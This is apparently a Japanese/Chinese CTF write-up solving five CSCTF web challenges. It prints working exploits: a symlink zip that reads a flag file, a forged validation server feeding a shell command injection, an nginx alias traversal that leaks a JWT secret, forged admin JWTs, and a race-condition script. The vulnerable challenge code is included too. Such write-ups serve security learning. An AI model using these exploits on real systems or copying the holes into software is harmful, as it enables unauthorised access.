最近の難しいCTFに参加してみることにした
Web
- ZipZone
- Feature Unlocked
- Trendz
- Trendzzz
- Trendzz
Web
ZipZone
添付ファイルをダウンロードして開始
main.py
import logging
import os
import subprocess
import uuid
from flask import (
Flask,
abort,
flash,
redirect,
render_template,
request,
send_from_directory,
)
app = Flask(__name__)
upload_dir = "/tmp/"
app.config["MAX_CONTENT_LENGTH"] = 1 * 10**6
app.config["SECRET_KEY"] = os.urandom(32)
@app.route("/", methods=["GET", "POST"])
def upload():
if request.method == "GET":
return render_template("index.html")
if "file" not in request.files:
flash("No file part!", "danger")
return render_template("index.html")
file = request.files["file"]
if file.filename.split(".")[-1].lower() != "zip":
flash("Only zip files allowed are allowed!", "danger")
return render_template("index.html")
upload_uuid = str(uuid.uuid4())
filename = f"{upload_dir}raw/{upload_uuid}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{upload_dir}files/{upload_uuid}"])
flash(
f'Your file is at <a href="/files/{upload_uuid}">{upload_uuid}</a>!', "success"
)
logging.info(f"User uploaded file {upload_uuid}.")
return redirect("/")
@app.route("/files/<path:path>")
def files(path):
try:
return send_from_directory(upload_dir + "files", path)
except PermissionError:
abort(404)
@app.errorhandler(404)
def page_not_found(error):
return render_template("404.html")
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=5000)
シンプルなZIPファイルアップロード機能しかない
/filesパスでsend_from_directoryを使用してファイルを配信しており、パス検証が行われていない
ここ,看到这里条件反射想到路径穿越。于是寻找sink点→ここが問題点
sink:
サーバーがZIPを展開する際に内容をチェックしていない
一目了然:シンボリックリンク攻撃
しかしflagはルートディレクトリにあり権限がない状態で足止めされていた 後味悪い--> 后来队友告诉我-->队友から教える
entrypoint.shにこのような行があった
cp /home/user/flag.txt /tmp/flag.txt
おいおいおいおいおい
LinuxのシンボリックリンクはWindowsのショートカットのようなもの 新しいファイルを作成し、シンボリックリンクで../../../../../../tmp/flag.txtを読み取る
ln -s ../../../../../../tmp/flag.txt evil.txt
zip -symlinks evil.txt evil.zip
提出→アクセスしてflag獲得
CSCTF{5yml1nk5_4r3_w31rd}
Feature Unlocked
添付ファイルダウンロード
main.py
import subprocess
import base64
import json
import time
import requests
import os
from flask import Flask, request, render_template, make_response, redirect, url_for
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from itsdangerous import URLSafeTimedSerializer
app = Flask(__name__)
app.secret_key = os.urandom(16)
serializer = URLSafeTimedSerializer(app.secret_key)
DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60
DEFAULT_PREFERENCES = base64.b64encode(json.dumps({
'theme': 'light',
'language': 'en'
}).encode()).decode()
def get_preferences():
preferences = request.cookies.get('preferences')
if not preferences:
response = make_response(render_template(
'index.html', new_feature=False))
response.set_cookie('preferences', DEFAULT_PREFERENCES)
return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response
return json.loads(base64.b64decode(preferences)), None
@app.route('/')
def index():
_, response = get_preferences()
return response if response else render_template('index.html', new_feature=False)
@app.route('/release')
def release():
token = request.cookies.get('access_token')
if token:
try:
data = serializer.loads(token)
if data == 'access_granted':
return redirect(url_for('feature'))
except Exception as e:
print(f"Token validation error: {e}")
validation_server = DEFAULT_VALIDATION_SERVER
if request.args.get('debug') == 'true':
preferences, _ = get_preferences()
validation_server = preferences.get(
'validation_server', DEFAULT_VALIDATION_SERVER)
if validate_server(validation_server):
response = make_response(render_template(
'release.html', feature_unlocked=True))
token = serializer.dumps('access_granted')
response.set_cookie('access_token', token, httponly=True, secure=True)
return response
return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)
@app.route('/feature', methods=['GET', 'POST'])
def feature():
token = request.cookies.get('access_token')
if not token:
return redirect(url_for('index'))
try:
data = serializer.loads(token)
if data != 'access_granted':
return redirect(url_for('index'))
if request.method == 'POST':
to_process = request.form.get('text')
try:
word_count = f"echo {to_process} | wc -w"
output = subprocess.check_output(
word_count, shell=True, text=True)
except subprocess.CalledProcessError as e:
output = f"Error: {e}"
return render_template('feature.html', output=output)
return render_template('feature.html')
except Exception as e:
print(f"Error: {e}")
return redirect(url_for('index'))
def get_pubkey(validation_server):
try:
response = requests.get(f"{validation_server}/pubkey")
response.raise_for_status()
return ECC.import_key(response.text)
except requests.RequestException as e:
raise Exception(
f"Error connecting to validation server for public key: {e}")
def validate_access(validation_server):
pubkey = get_pubkey(validation_server)
try:
response = requests.get(validation_server)
response.raise_for_status()
data = response.json()
date = data['date'].encode('utf-8')
signature = bytes.fromhex(data['signature'])
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(SHA256.new(date), signature)
return int(date)
except requests.RequestException as e:
raise Exception(f"Error validating access: {e}")
def validate_server(validation_server):
try:
date = validate_access(validation_server)
return date >= NEW_FEATURE_RELEASE
except Exception as e:
print(f"Error: {e}")
return False
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
validation_server.py
from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
app = Flask(__name__)
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
@app.route('/pubkey', methods=['GET'])
def get_pubkey():
return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])
def index():
date = str(int(time.time()))
h = SHA256.new(date.encode('utf-8'))
signature = DSS.new(key, 'fips-186-3').sign(h)
return jsonify({
'date': date,
'signature': signature.hex()
})
if __name__ == '__main__':
app.run(host='127.0.0.1', port=1338)
監査後、大まかな思路が浮かんだ:まず署名検証をバイパスしてfeatureへのアクセス権限を獲得し、次にfeatureでRCEを実行する
套题蒸鹅心
権限検証の位置はwanictfのone_day_one_letterとよく似ている wanictfではリクエスト内で検証サーバーを偽造できた この思路に従い、何とかして偽の検証サーバーを作成する必要がある
sink:
この2行は完全に意味がない(bushi)pythonのgetは辞書にパラメータがないときデフォルト値を返す→DEFAULT_VALIDATION_SERVER
cookieのpreferences辞書にvalidation_serverパラメータがある可能性は低く、常にデフォルト値
burpでパケットをキャプチャし、preferenceがeyJ0aGVtZSI6ICJsaWdodCIsICJsYW5ndWFnZSI6ICJlbiJ9であることを確認 BASE64デコードすると{"theme": "light", "language": "en"}
署名検証をバイパスするために公開鍵と秘密鍵を生成
from Crypto.PublicKey import ECC
key = ECC.generate(curve='P-256')
with open('pubkey', 'w') as f:
f.write(key.public_key().export_key(format='PEM'))
with open('privkey', 'w') as f:
f.write(key.export_key(format='PEM'))
次にサーバー上で偽の検証サービスを起動し、時間を10000秒進める
from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
app = Flask(__name__)
key = ECC.import_key('''-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgwwP94eTUCNYIgIye
QfbV7ezstOEOjPo27AsYGZ3EI5+hRANCAATmA8G24jcmc63PgzlImXApG9inScMH
f1Tqq2WLDPEioUiULfcxHzJohj/i5kH0ZTtgViPHufUdsidIqEgnMmvM
-----END PRIVATE KEY-----''')
pubkey = key.public_key().export_key(format='PEM')
@app.route('/pubkey', methods=['GET'])
def get_pubkey():
return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])
def index():
date = str(int(time.time()) + 7 * 24 * 60 * 60 + 10000)
h = SHA256.new(date.encode('utf-8'))
signature = DSS.new(key, 'fips-186-3').sign(h)
return jsonify({
'date': date,
'signature': signature.hex()
})
if __name__ == '__main__':
app.run(host='YOUR VPS IP', port=3000)
cookieのpreference内容を{"theme": "light", "language": "en", "validation_server": "YOUR VPS IP:3000"}に変更しBASE64エンコード
このcookieを持ってhttps://feature-unlocked-web-challs.csc.tf/releaseにアクセスし、featureへのアクセス権限を獲得
次はい:中国CTFerにとってよりおなじみのlinux RCE环节())(笑わないでくれ、海外CTFでは全是xssで一点できない)
なんとレスポンスがあり,甚至没过滤,甚至过滤、他に何もせず本当に感動する
好き勝手に打てる(%23は#のURLエンコード)
GET: ?text=cat /flag %23
CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}
Trendz
コードを監査し、题目的大致思路为伪造admin的jwt
この問題の正解はxss(adminにはbotがあるがsuperadminには 없는)、trendzzzの正解はJWT偽装 xssできないから全部JWT偽装で通す
validation.go
func ValidateAdmin() gin.HandlerFunc {
return func(c *gin.Context) {
const bearerSchema = "Bearer "
var tokenDetected bool = false
var tokenString string
authHeader := c.GetHeader("Authorization")
if len(authHeader) != 0 {
tokenDetected = true
tokenString = authHeader[len(bearerSchema):]
}
if !tokenDetected {
var err error
tokenString, err = c.Cookie("accesstoken")
if tokenString == "" || err != nil {
c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
}
}
fmt.Println(tokenString)
claims := jwt.ExtractClaims(tokenString)
if claims["role"] == "admin" || claims["role"] == "superadmin" {
fmt.Println(claims)
} else {
fmt.Println("Token is not valid")
c.AbortWithStatusJSON(403, gin.H{"error": "User Unauthorized"})
return
}
}
}
发现要伪造身份为admin或superadmin,对应两个flag(trendz和trendzzz)做法完全一样
でもjwt.secretがないとは何もできない、jwt.secretはmain.goと同じweb appのルートディレクトリにある
悔しくなった 後、队友から-->队友から教えられる:設定ファイルを見落としていた
config
user nobody;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://localhost:8000;
}
location /static {
alias /app/static/;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
気づく
おいおいおいおいおい(この状況は少し馴染みがある、ZipZoneも設定ファイルを見落として解けなかった)
誰がconfigのstaticにaliasがあり、パス検証がないなんて思っていただろうか()))
直接アクセス
/static../jwt.secret
これは次と同等
/app/static/../jwt.secret
これは次と同等
/app/jwt.secret
jwtのキーを入手したら偽装即可
package main
import (
"fmt"
"time"
"github.com/golang-jwt/jwt/v5"
)
func main() {
secretKey := []byte("7e0e4bba1492788a15328814b328dba359839460\n")
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"username": "admin",
"role": "admin",
"exp": time.Now().Add(time.Hour * 24).Unix(),
"iat": time.Now().Unix(),
})
signedToken, err := token.SignedString(secretKey)
if err != nil {
fmt.Println("Error generating token:", err)
return
}
fmt.Println("Generated Admin JWT:", signedToken)
}
adminのdashboardに入り、唯一のpostを見てflag获得
CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}
Trendzzz
trendzと全く同じ做法で、adminをsuperadminに換えるだけ
package main
import (
"fmt"
"time"
"github.com/golang-jwt/jwt/v5"
)
func main() {
secretKey := []byte("7e0e4bba1492788a15328814b328dba359839460\n")
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"username": "superadmin",
"role": "superadmin",
"exp": time.Now().Add(time.Hour * 24).Unix(),
"iat": time.Now().Unix(),
})
signedToken, err := token.SignedString(secretKey)
if err != nil {
fmt.Println("Error generating token:", err)
return
}
fmt.Println("Generated SuperAdmin JWT:", signedToken)
}
flagはログイン时就送
Trendzz
题目说要发表12个post就有flag,但是你只能发表10个post
このような問題は典型的な条件競争、第10のpostを送信する際に連続で3つのpostを送信すれば良い
exploit.py
import aiohttp
import asyncio
url = 'YOUR URL/user/posts/create'
post_data = {
"title": "1",
"data": "1"
}
cookies = {
"accesstoken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjUyNzQxMzksImlhdCI6MTcyNTI3MzUzOSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImgifQ.PT9VM2KV4dSlp3uNTfRuwsJ_3hfaPKaLWNbkZiWt0TQ"
}
async def Post(session, semaphore):
async with semaphore:
async with session.post(url, json=post_data, cookies=cookies) as response:
text = await response.text()
print(f"{text}")
async def main():
concurrency_limit = 100
semaphore = asyncio.Semaphore(concurrency_limit)
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=concurrency_limit)) as session:
tasks = []
for i in range(50):
tasks.append(Post(session, semaphore))
await asyncio.gather(*tasks)
asyncio.run(main())
CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}